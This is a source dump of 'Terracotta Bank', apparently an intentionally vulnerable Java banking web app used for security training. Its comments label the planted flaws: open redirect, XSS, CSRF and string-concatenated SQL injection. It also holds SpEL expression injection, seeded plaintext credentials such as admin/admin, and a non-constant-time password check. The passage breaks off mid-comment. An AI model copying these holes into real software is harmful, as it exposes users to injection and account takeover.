7 | * 8 | * http://www.apache.org/licenses/LICENSE-2.0 9 | * 10 | * Unless required by applicable law or agreed to in writing, software 11 | * distributed under the License is distributed on an "AS IS" BASIS, 12 | * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 13 | * See the License for the specific language governing permissions and 14 | * limitations under the License. 15 | */ 16 | package com.joshcummings.codeplay.terracotta.servlet; 17 | 18 | import com.joshcummings.codeplay.terracotta.model.User; 19 | import com.joshcummings.codeplay.terracotta.service.UserService; 20 | 21 | import javax.servlet.ServletException; 22 | import javax.servlet.http.HttpServlet; 23 | import javax.servlet.http.HttpServletRequest; 24 | import javax.servlet.http.HttpServletResponse; 25 | import java.io.IOException; 26 | 27 | /** 28 | * This class makes Terracotta Bank vulnerable to Open Redirect 29 | * and CRLF attacks because it doesn't validate and encode the 30 | * {@code relay} parameter before adding it to the url. 31 | * 32 | * @author Josh Cummings 33 | */ 34 | //@WebServlet("/employeeLogin") 35 | public class EmployeeLoginServlet extends HttpServlet { 36 | private static final long serialVersionUID = 1L; 37 | 38 | private UserService userService; 39 | 40 | public EmployeeLoginServlet(UserService userService) { 41 | this.userService = userService; 42 | } 43 | 44 | /** 45 | * @see HttpServlet#doPost(HttpServletRequest request, HttpServletResponse response) 46 | */ 47 | protected void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException { 48 | String username = request.getParameter("username"); 49 | String password = request.getParameter("password"); 50 | 51 | User user = this.userService.findByUsernameAndPassword(username, password); 52 | request.getSession().setAttribute("authenticatedUser", user); 53 | 54 | String relay = request.getParameter("relay"); 55 | if ( relay == null || relay.isEmpty() ) { 56 | response.sendRedirect(request.getContextPath() + "/employee.jsp"); 57 | } else { 58 | response.sendRedirect(relay); 59 | } 60 | } 61 | 62 | } 63 | -------------------------------------------------------------------------------- /src/vulnerability-test/java/com/joshcummings/codeplay/terracotta/app/RequestLogFilterVTests.java: -------------------------------------------------------------------------------- 1 | package com.joshcummings.codeplay.terracotta.app; 2 | 3 | import org.apache.commons.codec.binary.Base64; 4 | import org.springframework.mock.web.MockHttpSession; 5 | import org.testng.annotations.Test; 6 | 7 | import javax.servlet.http.HttpSession; 8 | import java.util.HashMap; 9 | import java.util.Map; 10 | 11 | import static org.testng.Assert.assertNotEquals; 12 | import static org.testng.Assert.assertTrue; 13 | 14 | public class RequestLogFilterVTests { 15 | RequestLogFilter filter = new RequestLogFilter(); 16 | 17 | @Test 18 | public void computeSessionIdForLogsThenDoesNotAddRawSessionId() { 19 | HttpSession session = new MockHttpSession(); 20 | 21 | Map attributes = new HashMap<>(); 22 | this.filter.computeSessionIdForLogs(session, attributes); 23 | 24 | assertNotEquals(session.getId(), attributes.get("sessionId"), 25 | "session id should be hashed before logging"); 26 | } 27 | 28 | @Test 29 | public void computeSessionIdForLogsThenAddsHashedSessionId() { 30 | HttpSession session = new MockHttpSession(); 31 | 32 | Map attributes = new HashMap<>(); 33 | this.filter.computeSessionIdForLogs(session, attributes); 34 | 35 | String sessionId = (String) attributes.get("sessionId"); 36 | assertTrue( 37 | isHashedAndBase64Encoded(session.getId(), sessionId, 24) || 38 | isHashedAndHexEncoded(session.getId(), sessionId, 32), 39 | "session id should be hashed and encoded before logging"); 40 | } 41 | 42 | @Test 43 | public void computeSessionIdForLogsThenAddsFipsCompliantHashedSessionId() { 44 | HttpSession session = new MockHttpSession(); 45 | 46 | Map attributes = new HashMap<>(); 47 | this.filter.computeSessionIdForLogs(session, attributes); 48 | 49 | String sessionId = (String) attributes.get("sessionId"); 50 | assertTrue( 51 | isHashedAndBase64Encoded(session.getId(), sessionId, 30) || 52 | isHashedAndHexEncoded(session.getId(), sessionId, 40), 53 | "session id should be hashed and encoded before logging"); 54 | } 55 | 56 | private static boolean isHashedAndBase64Encoded 57 | (String unhashed, String hashed, int lengthMinimum) { 58 | return Base64.isBase64(hashed) && 59 | hashed.length() >= lengthMinimum && 60 | !new String(Base64.decodeBase64(hashed)).equals(unhashed); 61 | } 62 | 63 | private static boolean isHashedAndHexEncoded 64 | (String unhashed, String hashed, int lengthMinimum) { 65 | return hashed.matches("[0-9a-fA-F]+") && 66 | hashed.length() >= lengthMinimum && 67 | !hashed.equals(unhashed); 68 | } 69 | } 70 | -------------------------------------------------------------------------------- /src/main/java/com/joshcummings/codeplay/terracotta/servlet/CheckLookupServlet.java: -------------------------------------------------------------------------------- 1 | /* 2 | * Copyright 2015-2018 Josh Cummings 3 | * 4 | * Licensed under the Apache License, Version 2.0 (the "License"); 5 | * you may not use this file except in compliance with the License. 6 | * You may obtain a copy of the License at 7 | * 8 | * http://www.apache.org/licenses/LICENSE-2.0 9 | * 10 | * Unless required by applicable law or agreed to in writing, software 11 | * distributed under the License is distributed on an "AS IS" BASIS, 12 | * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 13 | * See the License for the specific language governing permissions and 14 | * limitations under the License. 15 | */ 16 | package com.joshcummings.codeplay.terracotta.servlet; 17 | 18 | import com.joshcummings.codeplay.terracotta.service.CheckService; 19 | 20 | import javax.servlet.ServletException; 21 | import javax.servlet.http.HttpServlet; 22 | import javax.servlet.http.HttpServletRequest; 23 | import javax.servlet.http.HttpServletResponse; 24 | import java.io.ByteArrayOutputStream; 25 | import java.io.IOException; 26 | 27 | /** 28 | * This class makes Terracotta vulnerable Cross-site Scripting attacks 29 | * because it does not validate and encode the {@code checkNumber} 30 | * before it writes it to the response. 31 | * 32 | * It is vulnerable to CSRF in part because it naively maps 33 | * {@code doGet} to {@code doPost}. 34 | * 35 | * @author Josh Cummings 36 | */ 37 | //@WebServlet("/checkLookup") 38 | public class CheckLookupServlet extends HttpServlet { 39 | private static final long serialVersionUID = 1L; 40 | 41 | private CheckService checkService; 42 | 43 | public CheckLookupServlet(CheckService checkService) { 44 | this.checkService = checkService; 45 | } 46 | 47 | /** 48 | * @see HttpServlet#doPost(HttpServletRequest request, HttpServletResponse response) 49 | */ 50 | protected void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException { 51 | String checkNumber = request.getParameter("checkLookupNumber"); 52 | 53 | try 54 | { 55 | ByteArrayOutputStream baos = new ByteArrayOutputStream(); 56 | this.checkService.findCheckImage(checkNumber, baos); 57 | response.setContentType("image/jpg"); 58 | response.getOutputStream().write(baos.toByteArray()); 59 | response.flushBuffer(); 60 | } 61 | catch ( IllegalArgumentException e ) 62 | { 63 | response.setStatus(400); 64 | request.setAttribute("message", checkNumber + " is invalid"); 65 | request.getRequestDispatcher("/WEB-INF/json/error.jsp").forward(request, response); 66 | } 67 | } 68 | 69 | } 70 | -------------------------------------------------------------------------------- /src/jmh/java/com/joshcummings/codeplay/terracotta/CheckPasswordBenchmark.java: -------------------------------------------------------------------------------- 1 | /* 2 | * Copyright 2015-2018 Josh Cummings 3 | * 4 | * Licensed under the Apache License, Version 2.0 (the "License"); 5 | * you may not use this file except in compliance with the License. 6 | * You may obtain a copy of the License at 7 | * 8 | * http://www.apache.org/licenses/LICENSE-2.0 9 | * 10 | * Unless required by applicable law or agreed to in writing, software 11 | * distributed under the License is distributed on an "AS IS" BASIS, 12 | * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 13 | * See the License for the specific language governing permissions and 14 | * limitations under the License. 15 | */ 16 | package com.joshcummings.codeplay.terracotta; 17 | 18 | import org.openjdk.jmh.annotations.Benchmark; 19 | import org.openjdk.jmh.annotations.BenchmarkMode; 20 | import org.openjdk.jmh.annotations.Measurement; 21 | import org.openjdk.jmh.annotations.Mode; 22 | import org.openjdk.jmh.annotations.OutputTimeUnit; 23 | import org.openjdk.jmh.annotations.Param; 24 | import org.openjdk.jmh.annotations.Scope; 25 | import org.openjdk.jmh.annotations.State; 26 | import org.openjdk.jmh.runner.Runner; 27 | import org.openjdk.jmh.runner.RunnerException; 28 | import org.openjdk.jmh.runner.options.Options; 29 | import org.openjdk.jmh.runner.options.OptionsBuilder; 30 | 31 | import java.util.concurrent.TimeUnit; 32 | 33 | /** 34 | * Created by joshcummings on 2/17/18. 35 | */ 36 | @BenchmarkMode(Mode.AverageTime) 37 | @State(Scope.Benchmark) 38 | @OutputTimeUnit(TimeUnit.NANOSECONDS) 39 | @Measurement(iterations = 30, time = 1) 40 | public class CheckPasswordBenchmark { 41 | @Param({ 42 | "asdfasdfasdfasdfasdfasdfasdfasdfasdfasdfasdfasdf", 43 | "asdfasdfasdfasdfasdfasdfasdfasdfasdfasdfasdfasdg", 44 | "asdfasdfasdfasdfasdfasdfgggggggggggggggggggggggg", 45 | //"asdfasdfasdfgggg", "asdfasdfasdggggg", "asdfasdfasgggggg", "asdfasdfaggggggg", 46 | //"asdfasdfgggggggg", "asdfasdggggggggg", "asdfasgggggggggg", "asdfaggggggggggg", 47 | //"asdfgggggggggggg", "asdggggggggggggg", "asgggggggggggggg", "aggggggggggggggg", 48 | "gggggggggggggggggggggggggggggggggggggggggggggggg" 49 | }) String guess; 50 | 51 | String password = "asdfasdfasdfasdfasdfasdfasdfasdfasdfasdfasdfasdf"; 52 | 53 | @Benchmark 54 | public boolean checkPassword() { 55 | return guess.equals(password); 56 | } 57 | 58 | public static void main(String[] args) throws RunnerException { 59 | Options opt = new OptionsBuilder() 60 | .include(CheckPasswordBenchmark.class.getCanonicalName()) 61 | .forks(1) 62 | .build(); 63 | 64 | new Runner(opt).run(); 65 | } 66 | } 67 | -------------------------------------------------------------------------------- /src/main/resources/data.sql: -------------------------------------------------------------------------------- 1 | DROP TABLE IF EXISTS users; 2 | DROP TABLE IF EXISTS accounts; 3 | DROP TABLE IF EXISTS checks; 4 | DROP TABLE IF EXISTS messages; 5 | DROP TABLE IF EXISTS clients; 6 | 7 | CREATE TABLE users (id VARCHAR(64) PRIMARY KEY, name VARCHAR(256), email VARCHAR(256), username VARCHAR(64), password VARCHAR(64), is_admin BOOLEAN, UNIQUE (email), UNIQUE (username)); 8 | CREATE TABLE accounts (id VARCHAR(64) PRIMARY KEY, amount NUMERIC(12,4), number INTEGER, owner_id VARCHAR(64)); 9 | CREATE TABLE checks (id VARCHAR(64) PRIMARY KEY, amount NUMERIC(12,4), number VARCHAR(16), account_id VARCHAR(64)); 10 | CREATE TABLE messages (id VARCHAR(62) PRIMARY KEY, name VARCHAR(256), email VARCHAR(256), subject VARCHAR(128), message VARCHAR(2048)); 11 | CREATE TABLE clients (id VARCHAR(64) PRIMARY KEY, client_id VARCHAR(256), client_secret VARCHAR(1024), algorithm VARCHAR(8), key_set_uri VARCHAR(256)); 12 | 13 | CREATE UNIQUE INDEX users_password_idx ON users (username, password); 14 | 15 | INSERT INTO users (id, name, email, username, password, is_admin) VALUES (1, 'John Coltraine', 'john@coltraine.com', 'john.coltraine', 'j0hn', 'false'); 16 | INSERT INTO users (id, name, email, username, password, is_admin) VALUES (2, 'Upton Sinclair', 'upton@sinclair.com', 'upton.sinclair', 'upt0n', 'false'); 17 | INSERT INTO users (id, name, email, username, password, is_admin) VALUES (3, 'Admin Admin', 'admin@terracottabank.com', 'admin', 'admin', 'true'); 18 | INSERT INTO users (id, name, email, username, password, is_admin) VALUES (4, 'Josh Cummings', 'josh@cummings.com', 'josh.cummings', 'j0sh', 'false'); 19 | 20 | INSERT INTO accounts (id, amount, number, owner_id) VALUES (1, 2500, 987654321, 1); 21 | INSERT INTO accounts (id, amount, number, owner_id) VALUES (2, 25, 987654322, 2); 22 | INSERT INTO accounts (id, amount, number, owner_id) VALUES (4, 12, 987654323, 4); 23 | 24 | INSERT INTO messages (id, name, email, subject, message) VALUES (1, 'John Coltraine', 'john@coltraine.com', 'Terracotta', 'Do you use real clay?'); 25 | 26 | INSERT INTO clients (id, client_id, client_secret, algorithm, key_set_uri) VALUES (1, '92938340', 'Y5RIImXaSkusq/4/Z4sKNA==', 'v1', 'http://localhost:8081/.well-known/jwks.json'); 27 | INSERT INTO clients (id, client_id, client_secret, algorithm, key_set_uri) VALUES (2, '92938341', 'MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAxBBRT973fjTBtZlv5AQc3pSauRRPmmXnOzlJ5fsUC61W4rzVEMvzXnry2CqLJu5KVUJj8JmkWR2SmeziGPWhes8OW/whNXWdt7KZtELjbN915BFfshsoGyd6skb7uOlNFGOSzE687S/WARyWZYIGuOfEaCGBMuZ/Tmf8BgdF6TTCYCbku3zyMTvxhwFRh/PJ4iJd4AuOJYqUfQ8zNoik3ls96nz5uE4l5taI/bkHhKXkH04RtaD7sAWYELraKYH4lYAbi9HPDxadrG8jgSBMP/9hWdwRq2r8ulyMaLuiJ4VTdm4MMjU4tj7DQcT/txkpqk1EYJKE1H+k66XEy/+hUQIDAQAB', 'v2', 'http://localhost:8081/.well-known/jwks.json'); -------------------------------------------------------------------------------- /src/main/java/com/joshcummings/codeplay/terracotta/service/UserService.java: -------------------------------------------------------------------------------- 1 | /* 2 | * Copyright 2015-2018 Josh Cummings 3 | * 4 | * Licensed under the Apache License, Version 2.0 (the "License"); 5 | * you may not use this file except in compliance with the License. 6 | * You may obtain a copy of the License at 7 | * 8 | * http://www.apache.org/licenses/LICENSE-2.0 9 | * 10 | * Unless required by applicable law or agreed to in writing, software 11 | * distributed under the License is distributed on an "AS IS" BASIS, 12 | * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 13 | * See the License for the specific language governing permissions and 14 | * limitations under the License. 15 | */ 16 | package com.joshcummings.codeplay.terracotta.service; 17 | 18 | import com.joshcummings.codeplay.terracotta.model.User; 19 | import org.springframework.stereotype.Service; 20 | 21 | import java.util.Set; 22 | 23 | /** 24 | * This class makes Terracotta Bank vulnerable to SQL injection 25 | * attacks because it concatenates queries instead of using 26 | * bind variables. 27 | * 28 | * @author Josh Cummings 29 | */ 30 | @Service 31 | public class UserService extends ServiceSupport { 32 | public void addUser(User user) { 33 | runUpdate("INSERT INTO users (id, username, password, name, email)" 34 | + " VALUES ('" + user.getId() + "','" + user.getUsername() + 35 | "','" + user.getPassword() + "','" + user.getName() + "','" + user.getEmail() + "')"); 36 | } 37 | 38 | public User findByUsername(String username) { 39 | Set users = runQuery("SELECT * FROM users WHERE username = '" + username + "'", (rs) -> 40 | new User(rs.getString(1), rs.getString(4), rs.getString(5), 41 | rs.getString(2), rs.getString(3), rs.getBoolean(6))); 42 | return users.isEmpty() ? null : users.iterator().next(); 43 | } 44 | 45 | public User findByUsernameAndPassword(String username, String password) { 46 | Set users = runQuery("SELECT * FROM users WHERE username = '" + username + "' AND password = '" + password + "'", (rs) -> 47 | new User(rs.getString(1), rs.getString(4), rs.getString(5), 48 | rs.getString(2), rs.getString(3), rs.getBoolean(6))); 49 | return users.isEmpty() ? null : users.iterator().next(); 50 | } 51 | 52 | public Integer count() { 53 | return super.count("users"); 54 | } 55 | 56 | public void updateUser(User user) { 57 | runUpdate("UPDATE users SET name = '" + user.getName() + "', email = '" + user.getEmail() + "' "+ 58 | "WHERE id = '" + user.getId() + "'"); 59 | } 60 | 61 | public void updateUserPassword(User user) { 62 | runUpdate("UPDATE users SET password = '" + user.getPassword() + "' WHERE id = '" + user.getId() + "'"); 63 | } 64 | 65 | public void removeUser(String username) { 66 | runUpdate("DELETE FROM users WHERE username = '" + username + "'"); 67 | } 68 | } 69 | -------------------------------------------------------------------------------- /src/main/java/com/joshcummings/codeplay/terracotta/service/ServiceSupport.java: -------------------------------------------------------------------------------- 1 | /* 2 | * Copyright 2015-2018 Josh Cummings 3 | * 4 | * Licensed under the Apache License, Version 2.0 (the "License"); 5 | * you may not use this file except in compliance with the License. 6 | * You may obtain a copy of the License at 7 | * 8 | * http://www.apache.org/licenses/LICENSE-2.0 9 | * 10 | * Unless required by applicable law or agreed to in writing, software 11 | * distributed under the License is distributed on an "AS IS" BASIS, 12 | * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 13 | * See the License for the specific language governing permissions and 14 | * limitations under the License. 15 | */ 16 | package com.joshcummings.codeplay.terracotta.service; 17 | 18 | import java.sql.Connection; 19 | import java.sql.DriverManager; 20 | import java.sql.PreparedStatement; 21 | import java.sql.ResultSet; 22 | import java.sql.SQLException; 23 | import java.util.HashSet; 24 | import java.util.Set; 25 | 26 | public abstract class ServiceSupport { 27 | private static final String DATABASE_URL = "jdbc:hsqldb:mem:db"; 28 | 29 | public Set runQuery(String query, Inflater inflater) { 30 | return runQuery(query, ps -> ps, inflater); 31 | } 32 | 33 | public Set runQuery(String query, Preparer preparer, Inflater inflater) { 34 | Set results = new HashSet(); 35 | try ( Connection conn = DriverManager.getConnection(DATABASE_URL, "user", "password"); 36 | PreparedStatement ps = conn.prepareStatement(query); 37 | ResultSet rs = preparer.prepare(ps).executeQuery(); ) { 38 | while ( rs.next() ) { 39 | results.add(inflater.apply(rs)); 40 | } 41 | } catch ( SQLException e ) { 42 | throw new IllegalArgumentException(e); 43 | } 44 | return results; 45 | } 46 | 47 | public Integer count(String tableName) { 48 | return runQuery("SELECT count(*) FROM " + tableName, 49 | (rs) -> { 50 | try { 51 | return rs.getInt(1); 52 | } catch ( SQLException e ) { 53 | throw new IllegalStateException(e); 54 | } 55 | }).iterator().next(); 56 | } 57 | 58 | public int runUpdate(String query) { 59 | return runUpdate(query, ps -> ps); 60 | } 61 | 62 | public int runUpdate(String query, Preparer preparer) { 63 | try ( Connection conn = DriverManager.getConnection(DATABASE_URL, "user", "password"); 64 | PreparedStatement ps = conn.prepareStatement(query) ) { 65 | return preparer.prepare(ps).executeUpdate(); 66 | } catch ( SQLException e ) { 67 | throw new IllegalArgumentException(e); 68 | } 69 | } 70 | 71 | @FunctionalInterface 72 | public interface Preparer { 73 | PreparedStatement prepare(PreparedStatement ps) throws SQLException; 74 | } 75 | 76 | @FunctionalInterface 77 | public interface Inflater { 78 | T apply(ResultSet resultSet) throws SQLException; 79 | } 80 | } 81 | -------------------------------------------------------------------------------- /src/test/java/com/joshcummings/codeplay/terracotta/app/RequestLogFilterTests.java: -------------------------------------------------------------------------------- 1 | /* 2 | * Copyright 2015-2018 Josh Cummings 3 | * 4 | * Licensed under the Apache License, Version 2.0 (the "License"); 5 | * you may not use this file except in compliance with the License. 6 | * You may obtain a copy of the License at 7 | * 8 | * http://www.apache.org/licenses/LICENSE-2.0 9 | * 10 | * Unless required by applicable law or agreed to in writing, software 11 | * distributed under the License is distributed on an "AS IS" BASIS, 12 | * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 13 | * See the License for the specific language governing permissions and 14 | * limitations under the License. 15 | */ 16 | package com.joshcummings.codeplay.terracotta.app; 17 | 18 | import com.joshcummings.codeplay.terracotta.model.User; 19 | import org.springframework.mock.web.MockHttpServletRequest; 20 | import org.springframework.mock.web.MockHttpServletResponse; 21 | import org.springframework.mock.web.MockHttpSession; 22 | import org.testng.annotations.Test; 23 | 24 | import java.time.Clock; 25 | import java.time.Instant; 26 | import java.time.ZoneId; 27 | import java.util.Map; 28 | 29 | import static org.testng.Assert.*; 30 | 31 | public class RequestLogFilterTests { 32 | private User user = new User("1", "test", "test", "Test", "test@test"); 33 | private Clock fixed = Clock.fixed(Instant.now(), ZoneId.systemDefault()); 34 | 35 | private RequestLogFilter filter = new RequestLogFilter(this.fixed); 36 | 37 | @Test 38 | public void computeRequestAttributesWhenLoggedInThenIncludesUserId() { 39 | MockHttpServletRequest request = new MockHttpServletRequest(); 40 | MockHttpServletResponse response = new MockHttpServletResponse(); 41 | request.getSession().setAttribute("authenticatedUser", this.user); 42 | 43 | Map attributes = 44 | this.filter.computeRequestAttributes( 45 | request, response, this.fixed.instant()); 46 | 47 | assertEquals("1", attributes.get("userId")); 48 | } 49 | 50 | @Test 51 | public void computeRequestAttributesWhenUnauthenticatedThenIncludesBasicAttributes() { 52 | MockHttpServletRequest request = new MockHttpServletRequest("GET", "/"); 53 | request.setSession(new MockHttpSession()); 54 | MockHttpServletResponse response = new MockHttpServletResponse(); 55 | 56 | Instant oneSecondAgo = this.fixed.instant().minusSeconds(1L); 57 | 58 | Map attributes = 59 | this.filter.computeRequestAttributes( 60 | request, response, oneSecondAgo); 61 | 62 | assertNotNull(attributes.get("requestId")); 63 | assertNotNull(attributes.get("sessionId")); 64 | assertNull(attributes.get("userId")); 65 | assertEquals(request.getRequestURI(), attributes.get("action")); 66 | assertEquals(response.getStatus(), attributes.get("result")); 67 | assertEquals(1000L, attributes.get("duration")); 68 | } 69 | } 70 | -------------------------------------------------------------------------------- /src/main/java/com/joshcummings/codeplay/terracotta/service/EmailService.java: -------------------------------------------------------------------------------- 1 | /* 2 | * Copyright 2015-2018 Josh Cummings 3 | * 4 | * Licensed under the Apache License, Version 2.0 (the "License"); 5 | * you may not use this file except in compliance with the License. 6 | * You may obtain a copy of the License at 7 | * 8 | * http://www.apache.org/licenses/LICENSE-2.0 9 | * 10 | * Unless required by applicable law or agreed to in writing, software 11 | * distributed under the License is distributed on an "AS IS" BASIS, 12 | * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 13 | * See the License for the specific language governing permissions and 14 | * limitations under the License. 15 | */ 16 | package com.joshcummings.codeplay.terracotta.service; 17 | 18 | import org.springframework.beans.factory.annotation.Value; 19 | import org.springframework.stereotype.Service; 20 | 21 | import javax.mail.Message; 22 | import javax.mail.MessagingException; 23 | import javax.mail.PasswordAuthentication; 24 | import javax.mail.Session; 25 | import javax.mail.Transport; 26 | import javax.mail.internet.InternetAddress; 27 | import javax.mail.internet.MimeMessage; 28 | import java.util.Properties; 29 | 30 | import org.slf4j.Logger; 31 | import org.slf4j.LoggerFactory; 32 | 33 | /** 34 | * This class is vulnerable to information leakage because 35 | * it places credentials inside source code. 36 | * 37 | * @author Josh Cummings 38 | */ 39 | @Service 40 | public class EmailService { 41 | private final Logger logger = LoggerFactory.getLogger(this.getClass()); 42 | 43 | private String from = "no-reply-terracotta-bank@mailinator.com"; 44 | private String host = "in-v3.mailjet.com"; 45 | private Properties properties = System.getProperties(); 46 | 47 | { 48 | properties.setProperty("mail.smtp.host", host); 49 | properties.setProperty("mail.smtp.auth", "true"); 50 | properties.setProperty("mail.smtp.port", "587"); 51 | } 52 | 53 | private String apiKey; 54 | private String apiSecret; 55 | 56 | public EmailService(@Value("${mailjet.api.key}") String apiKey, 57 | @Value("${mailjet.api.secret}") String apiSecret) { 58 | this.apiKey = apiKey; 59 | this.apiSecret = apiSecret; 60 | } 61 | 62 | public void sendMessage(String to, String subject, String content) { 63 | Session session = Session.getDefaultInstance(properties, new javax.mail.Authenticator() { 64 | protected PasswordAuthentication getPasswordAuthentication() { 65 | return new PasswordAuthentication(apiKey, apiSecret); 66 | } 67 | }); 68 | 69 | MimeMessage message = new MimeMessage(session); 70 | 71 | try { 72 | message.setFrom(new InternetAddress(from)); 73 | message.addRecipient(Message.RecipientType.TO, new InternetAddress(to)); 74 | message.setSubject(subject); 75 | message.setContent(content, "text/html; charset=utf-8"); 76 | Transport.send(message); 77 | } catch (MessagingException mex) { 78 | this.logger.error("Failed to send message", mex); 79 | } 80 | } 81 | } 82 | -------------------------------------------------------------------------------- /src/main/java/com/joshcummings/codeplay/terracotta/servlet/AccountServlet.java: -------------------------------------------------------------------------------- 1 | /* 2 | * Copyright 2015-2018 Josh Cummings 3 | * 4 | * Licensed under the Apache License, Version 2.0 (the "License"); 5 | * you may not use this file except in compliance with the License. 6 | * You may obtain a copy of the License at 7 | * 8 | * http://www.apache.org/licenses/LICENSE-2.0 9 | * 10 | * Unless required by applicable law or agreed to in writing, software 11 | * distributed under the License is distributed on an "AS IS" BASIS, 12 | * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 13 | * See the License for the specific language governing permissions and 14 | * limitations under the License. 15 | */ 16 | package com.joshcummings.codeplay.terracotta.servlet; 17 | 18 | import com.joshcummings.codeplay.terracotta.model.Account; 19 | import com.joshcummings.codeplay.terracotta.service.AccountService; 20 | import org.springframework.expression.Expression; 21 | import org.springframework.expression.spel.standard.SpelExpressionParser; 22 | import org.springframework.expression.spel.support.StandardEvaluationContext; 23 | import org.springframework.util.StringUtils; 24 | 25 | import javax.servlet.ServletException; 26 | import javax.servlet.http.HttpServlet; 27 | import javax.servlet.http.HttpServletRequest; 28 | import javax.servlet.http.HttpServletResponse; 29 | import java.io.IOException; 30 | import java.util.LinkedHashSet; 31 | import java.util.List; 32 | import java.util.Set; 33 | 34 | /** 35 | * @author Josh Cummings 36 | */ 37 | //@WebServlet("/showAccounts") 38 | public class AccountServlet extends HttpServlet { 39 | private static final long serialVersionUID = 1L; 40 | 41 | private SpelExpressionParser parser = new SpelExpressionParser(); 42 | private AccountService accountService; 43 | 44 | public AccountServlet(AccountService accountService) { 45 | this.accountService = accountService; 46 | } 47 | 48 | protected void doGet(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException { 49 | if ( request.getAttribute("authenticatedUser") == null ) { 50 | response.sendRedirect(request.getContextPath() + "/employee.jsp?relay=" + request.getRequestURL().toString()); 51 | } else { 52 | Set accounts = this.accountService.findAll(); 53 | if (StringUtils.hasText(request.getParameter("showAccountsSearch"))) { 54 | String filter = request.getParameter("showAccountsSearch"); 55 | Expression expression = this.parser.parseExpression("#this.?[" + filter + "]"); 56 | Object value = expression.getValue(new StandardEvaluationContext(accounts)); 57 | if (value instanceof List) { 58 | @SuppressWarnings("unchecked") 59 | List filteredAccounts = (List) value; 60 | accounts = new LinkedHashSet<>(filteredAccounts); 61 | } 62 | } 63 | request.setAttribute("accounts", accounts); 64 | request.getRequestDispatcher("/WEB-INF/accounts.jsp").forward(request, response); 65 | } 66 | } 67 | } 68 | -------------------------------------------------------------------------------- /src/test/java/com/joshcummings/codeplay/terracotta/testng/DockerSupport.java: -------------------------------------------------------------------------------- 1 | /* 2 | * Copyright 2015-2018 Josh Cummings 3 | * 4 | * Licensed under the Apache License, Version 2.0 (the "License"); 5 | * you may not use this file except in compliance with the License. 6 | * You may obtain a copy of the License at 7 | * 8 | * http://www.apache.org/licenses/LICENSE-2.0 9 | * 10 | * Unless required by applicable law or agreed to in writing, software 11 | * distributed under the License is distributed on an "AS IS" BASIS, 12 | * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 13 | * See the License for the specific language governing permissions and 14 | * limitations under the License. 15 | */ 16 | package com.joshcummings.codeplay.terracotta.testng; 17 | 18 | import com.github.dockerjava.api.DockerClient; 19 | import com.github.dockerjava.api.command.CreateContainerCmd; 20 | import com.github.dockerjava.api.model.PortBinding; 21 | import com.github.dockerjava.core.DefaultDockerClientConfig; 22 | import com.github.dockerjava.core.DockerClientBuilder; 23 | import com.github.dockerjava.core.DockerClientConfig; 24 | 25 | public class DockerSupport { 26 | private static final String CONTAINER_NAME = "test-terracotta-bank"; 27 | 28 | private DockerClientConfig config = DefaultDockerClientConfig.createDefaultConfigBuilder() 29 | .withDockerHost(getenvWithDefault("DOCKER_HOST", "tcp://127.0.0.1")) 30 | .withDockerTlsVerify(Boolean.valueOf(getenvWithDefault("DOCKER_TLS_VERIFY", "false"))) 31 | .withDockerCertPath(getenvWithDefault("DOCKER_CERT_PATH", "~/.docker/machine")) 32 | .withApiVersion("1.23") 33 | .withRegistryUrl("https://index.docker.io/v1/") 34 | .build(); 35 | 36 | private DockerClient docker = DockerClientBuilder.getInstance(config).build(); 37 | 38 | private String getenvWithDefault(String name, String def) { 39 | return System.getenv(name) == null ? def : System.getenv(name); 40 | } 41 | 42 | public void startContainer() throws Exception { 43 | CreateContainerCmd cmd = docker.createContainerCmd("terracotta-bank"); 44 | cmd.getHostConfig() 45 | .withPortBindings(PortBinding.parse("8080:8080")) 46 | .withNetworkMode("host"); 47 | cmd.withName(CONTAINER_NAME); 48 | cmd.exec(); 49 | docker.startContainerCmd(CONTAINER_NAME).exec(); 50 | } 51 | 52 | public void stopContainer() throws Exception { 53 | docker.stopContainerCmd(CONTAINER_NAME).exec(); 54 | docker.removeContainerCmd(CONTAINER_NAME).exec(); 55 | } 56 | 57 | public void startClamav() throws Exception { 58 | CreateContainerCmd cmd = docker.createContainerCmd("mkodockx/docker-clamav"); 59 | cmd.getHostConfig() 60 | .withPortBindings(PortBinding.parse("3310:3310")) 61 | .withNetworkMode("host"); 62 | cmd.withName("clamav"); 63 | cmd.exec(); 64 | docker.startContainerCmd("clamav").exec(); 65 | } 66 | 67 | public void stopClamav() throws Exception { 68 | docker.stopContainerCmd("clamav").exec(); 69 | docker.removeContainerCmd("clamav").exec(); 70 | } 71 | } 72 | -------------------------------------------------------------------------------- /src/main/java/com/joshcummings/codeplay/terracotta/servlet/SiteStatisticsServlet.java: -------------------------------------------------------------------------------- 1 | /* 2 | * Copyright 2015-2018 Josh Cummings 3 | * 4 | * Licensed under the Apache License, Version 2.0 (the "License"); 5 | * you may not use this file except in compliance with the License. 6 | * You may obtain a copy of the License at 7 | * 8 | * http://www.apache.org/licenses/LICENSE-2.0 9 | * 10 | * Unless required by applicable law or agreed to in writing, software 11 | * distributed under the License is distributed on an "AS IS" BASIS, 12 | * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 13 | * See the License for the specific language governing permissions and 14 | * limitations under the License. 15 | */ 16 | package com.joshcummings.codeplay.terracotta.servlet; 17 | 18 | import com.joshcummings.codeplay.terracotta.app.InMemoryAppender; 19 | import com.joshcummings.codeplay.terracotta.model.User; 20 | import com.joshcummings.codeplay.terracotta.service.AccountService; 21 | import com.joshcummings.codeplay.terracotta.service.UserService; 22 | 23 | import javax.servlet.ServletException; 24 | import javax.servlet.http.HttpServlet; 25 | import javax.servlet.http.HttpServletRequest; 26 | import javax.servlet.http.HttpServletResponse; 27 | import java.io.IOException; 28 | import java.util.stream.Collectors; 29 | 30 | /** 31 | * This class is vulernable to Privilege Escalation attacks 32 | 